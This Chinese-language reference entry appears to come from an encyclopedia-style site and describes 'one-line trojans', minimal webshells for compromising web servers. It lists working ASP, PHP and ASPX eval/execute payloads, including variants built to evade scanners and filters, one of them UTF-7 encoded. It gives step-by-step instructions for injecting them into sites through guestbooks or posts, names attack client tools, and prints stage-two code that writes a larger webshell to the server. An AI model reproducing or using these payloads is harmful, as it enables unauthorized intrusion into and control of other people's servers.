一句話木馬

一句話木馬

一句話木馬短小精悍,而且功能強大,隱蔽性非常好,在入侵中始終扮演著強大的作用。

基本介紹

  • 中文名:一句話木馬
  • 外文名:<%execute request("vbs")%>
  • 特點:隱蔽性非常好
  • 解決方法:用"eval"替換掉"execute"服務端 
舉例說明,寫法,客戶端,使用方法,木馬原理,關於錯誤,

舉例說明

黑客在註冊信息的電子信箱或者個人主頁等中插入類似如下代碼:
<%execute request("value")%>
其中value是值,所以你可以更改自己的值,前面的request就是獲取這個值
<%eval request("value")%>(現在比較多見的,而且字元少,對表單字數有限制的地方特別的實用)
當知道了資料庫的URL,就可以利用本地一張網頁進行連線得到Webshell。(不知道資料庫也可以,只要知道<%eval request("value")%>這個檔案被插入到哪一個ASP檔案裡面就可以了。)
這就被稱為一句話木馬,它是基於B/S結構的。

寫法

常用一句話木馬
asp一句話木馬:
<%execute(request("value"))%>
php一句話木馬:
<?php @eval($_POST[value]);?>
aspx一句話木馬:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句話木馬:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲過雷客圖的一句話木馬:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句話木馬:
<script language=VBScript runat=server>execute request("value")</script>
不用雙引號的一句話木馬:
<%eval request(chr(35))%>
UTF-7編碼加密:
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

客戶端

一句話最常用的客戶端為:
一句話客戶端增強版
中國菜刀
lanker一句話客戶端
ZV新型PHP一句話木馬客戶端GUI版

使用方法

首先,找到資料庫是asp格式的網站,然後,以留言板,或者發表文章的方式,把一句話添加到asp資料庫,或者加進asp網頁.
記住!我們的目的是把一句話<%execute request("value")%>添加到資料庫,無論任何方式!
然後打開客戶端(就是你電腦上面的那個htm檔案),填上加入了一句話的asp檔案,或者是asp網頁,然後進入此網站伺服器。

木馬原理

首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript腳本的開始標記,其中RUNAT屬性的值SERVER表示腳本將在伺服器端運行, 後面的eval是一句話木馬的精華部分,使用eval方法的話它裡面的字元串將會被執行,這樣當腳本在伺服器端運行的時候同時也執行了 Request.form('#')+''這句代碼,Request.form('#')的作用是讀取客戶端檔案中html標記屬性中name值被命名 為#的部分,例如如下摘自一句話客戶端的代碼:
<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</textarea>
學過html的朋友應該注意到了在textarea標記中的name屬性被賦值為#,也就是伺服器端就是要讀取其中的代碼(使用Request.form('#')),然後執行(使用eval(Request.form('#')+'')),也就是執行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
學過asp的朋友應該看的懂,上面代碼的意思是首先創建一個流對象ip,然後使用對象中的writetext方法將 request("aoyun")讀取過來的內容(就是我們常見的一句話客戶端的第二個textarea域中的內容,也就是我們的大馬的代碼)寫入服務端 的 aoyunwan.asp
檔案中,寫入結束後使用set iP=nothing 釋放對方 然後使用response.redirect "aoyunwan.asp" 轉向寫入的檔案,就是我們最後見的大馬了!

關於錯誤

伺服器錯誤
經常,當我們在一個asp檔案內添加了一句話後,就會出現類型不匹配的錯誤:
Script error detected at line 1.
Source line:execute request("nettoo")
Description:類型不匹配: 'execute'
解決方法
用"eval"替換掉"execute"服務端,就不會出錯了!

相關詞條

熱門詞條

聯絡我們